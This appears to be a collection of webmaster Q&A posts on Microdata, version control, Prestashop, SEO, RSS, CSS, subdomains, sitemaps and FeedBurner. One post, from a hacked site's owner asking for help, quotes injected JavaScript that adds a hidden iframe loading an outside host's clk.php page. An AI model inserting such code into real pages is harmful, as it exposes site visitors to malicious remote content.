I have not been able to find a clear issue on omitting reviews from Microdata. I understand that Microdata values for reviews will default to a certain number when omitted, but I was wondering if it would be correct/acceptable to completely omit the review node completely. I can see where reviews and average "star" ratings would be of help to the end user, especially for things like recipes. However, what if there are no reviews for a product or application? To be completely clear - let's isolate this question to only software applications or extensions. What if a particular piece of software or extension was not featured on an "app store" or other site that provided reviews? Wouldn't the formats still be helpful by providing version number, download URL, compatible software - etc? Sorry for the lengthy background, but I just don't understand why it seems that reviews _must_ be part of a Microdata markup. Or, am I wrong in this assumption?


What version control options are available for PHP web development?

I have done some basic web programming in the past and wish to develop my skills further and begin doing large scale projects as a contractor. I have no experience with version control to this point but know enough about it to know I want to use it. What version control systems are available for a web platform and which are the most popular (I'm assuming they'd be most popular for ease of use and functionality...)? Thanks!


Setting Prestashop to send email if order from defined area

I'm doing an eCommerce site with Prestashop and I have to set the classes of shipping details. I have try tip of shipping:   1. Free for France   2. 50 € for all'Europe (but not France) (This points are ok)   3. Send an email to request information for order from all Word (but not Europe or France).  I need a setting that defines the areas of shipping. If I place an order from Asia or America can not complete the purchase but just send an email request information. When the customer is on the checkout and select the area of spediizone, if the area belongs to Asia, America, Oceania, then the order will be sent by mail with the request for information on shipping.


Does WordPress tag page lead to duplicate content?

Let's say I am having a tag page at WordPress like `http://www.mysite.com/tag/tag_name/` having 2 blog posts A & B and a category page like `http://www.mysite.com/category/category_name/` having blog posts B & C. The content of post B I'll be shown on both pages and the permanent link of post B too. Can this example be a case of duplicate content as the full post B is being shown in various pages along with other posts which are different in each page? Those pages are already are `nofollow` except permalink of the blog posts but still they content is being duplicated all over. I wonder if it would have impact on my SEO?


Site got hacked while many / all security leaks have been removed

I've got a website with this code appended to my php document :               <?     #8f4d8e#                                                                                echo "                                                                                ";          #/8f4d8e#     ?>      I removed all my php treatment (receiving POST and GET then dealing with it) the only references to GET or POST are secured using `htmlspecialchars` and `stripslashes`. I removed as many external javascript tools as possible. I though my website was minified to maximum for minimum security leak but it seams it didn't do its job has mentioned with the code up here... Previously I add the following code injection (you'll see that the two injections are not the same ...)                   /*68c8c7*/                                                                                //(function () {    var id = '8';    var wtxmw09 = document.createElement('iframe');    wtxmw09.src = 'http://www.cittadinolibero.it/clk.php';    wtxmw09.style.position = 'absolute';    wtxmw09.style.border = '1';    wtxmw09.style.height = '31px';    wtxmw09.style.width = '42px';    wtxmw09.style.left = '500px';    wtxmw09.style.top = '100px';    if (!document.getElementById('wtxmw')) {        document.write('');        document.write('

');        document.getElementById('wtxmw').appendChild(wtxmw09);    }})();         /*/68c8c7*/      Also, how could I scan all my code for security leaks I wouldn't have though about ? I tried RIPS, but with level 1 tainting, I had no message... What are the several ways a hacker could use to hack a website ? How ?


What are the disadvantages of an invalid RSS feed

I have recently started using feedvalidator.org to validate my RSS feeds. The RSS reader reads the feeds fine but the feed validator says they are not valid feeds. I tried other RSS feeds like               http://feeds.nytimes.com/nyt/rss/HomePage     http://feeds.latimes.com/latimes/news     http://feeds.ign.com/ignfeeds/all/      All of these feeds are invalid according to feed validator. But, these are nytimes, latimes and ign we are talking about. Are they not considered about an invalid RSS feed? I tried searching for disadvantages of an invalid RSS feed but couldn't find much. Thanks, KA


Want to Minimise Browser Dependence

I am a web administrator to the site Nrityakalamandiram In the long run, I want the site's appearance not to conspicuously vary from browser to browser. I would like my site to appear and function exactly as I want it to, at least in the most popular browsers like Firefox, IE, Chrome, Chromium. As a step toward this I would like to get one thing sorted out See http://www.nritykalamandiram.in/home/gallery.html I opened it in Firefox, the album name "THE DIRECTOR" is just above the black box in which the photo gallery lies: ![Appearance in Firefox Browser](http://i.stack.imgur.com/KNRXC.png) I opened it in Chromium, the same page appears thus: ![Appearance in Chromium Browser](http://i.stack.imgur.com/tR3MS.png) What I have done as follows: Inside a element I have written the album name as per user's click (on the left side is a list of albums) and below it, displayed the gallery box. The mother is intended to be transparent like. To achieve this I appended "background-color:transparent" to the "style" property of This is ineffective in Firefox but not in Chromium as one sees - in the latter picture attached - a white patch to the left and above the gallery box! It is evident from above that                   <div style="background-color:transparent..." ... >      does not serve the purpose uniformly for all browsers. I am perhaps too fussy about a seemingly negligible aberration such as this, but somehow the white patches are jarring. In light of the above I have a question: Is there a code that achieves the transparency of the mother as described above, uniformly for all popular browsers?


creating unlimited sub domains programmatically through api

**Note** Consider each subdomain as unique application instance **For information about application architecture visit** http://stackoverflow.com/questions/11272776/using-phusion-passenger-nginx- running-same-rails-app-with-multiple-instance I am having one product going to provide to multiple clients with subdomains               www.client1.product.com to www.client100.product.com in server 1      with some static ip (x.x.x.1).      After 100 clients server 1 reaches maximum resource load and space, so i am buying another new server putting `www.client101.product.com to www.client200.product.com with ip (x.x.x.2)` , consider i am using premium dns hosting for adding more than 100 A records. Is there any way to **automate sub domain creation** , by adding corresponding server ip to the A records.


Google's webmaster tools saying invalid URL in sitemap

I've recently made some big changes to my site and as a result, have had to change my sitemap. In doing so, I resubmitted my sitemap file only to see 3 errors reading invalid URL's. I'm not sure if it's worth mentioning or not that my sitemap file ins't actually a true XML file. Rather, it's a dynamic php file that the server is tricked into believing is an XML file thanks to modrewrite. This didn't matter last time as I had no sitemap errors. But, this time it is. ![Here is a pic of the error](http://i.stack.imgur.com/bQMEk.png) The actual sitemap can be found here The sitemap.php file starts like this:               <?php     require_once("model/functions.php");     require_once("model/model.php");     require_once("model/teams_array.php");          echo '<?xml version="1.0" encoding="UTF-8"?>         <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">             <url>                 <loc>http://www.sportannica.com/quickpicks/</loc>                 <changefreq>daily</changefreq>                 <priority>0.8</priority>             </url>            Continued ............


Strategy to get X many users that have visited any pages that directly link to the current page

Forums have a "x many users online". And "X views" on each threads. What I want is how many users have visited the pages that link directly to the thread in place of "X views". Sort of combining the two features to give a better information. What's the best way to achieve this? (I'm familiar with wordpress and drupal)


Migrating the source of a FeedBurner podcast feed from one WordPress to another

I'm using FeedBurner as the public-facing feed for the Ask Different Podcast. Recently Stack Exchange has set up a Blog Overflow blog for Ask Different, and I'd like to move the source of the FeedBurner feed from an unofficial WordPress instance we set up to the official blog. However, when I tested this a few days ago with a test account I found that once the feed switched over iTunes thought that the podcasts were all brand new. I want to avoid annoying our subscribers and make the move silently and transparently behind the scenes.   * How does iTunes determine whether an RSS item is the same as one it already has?   * Is there a way in WordPress to modify this information?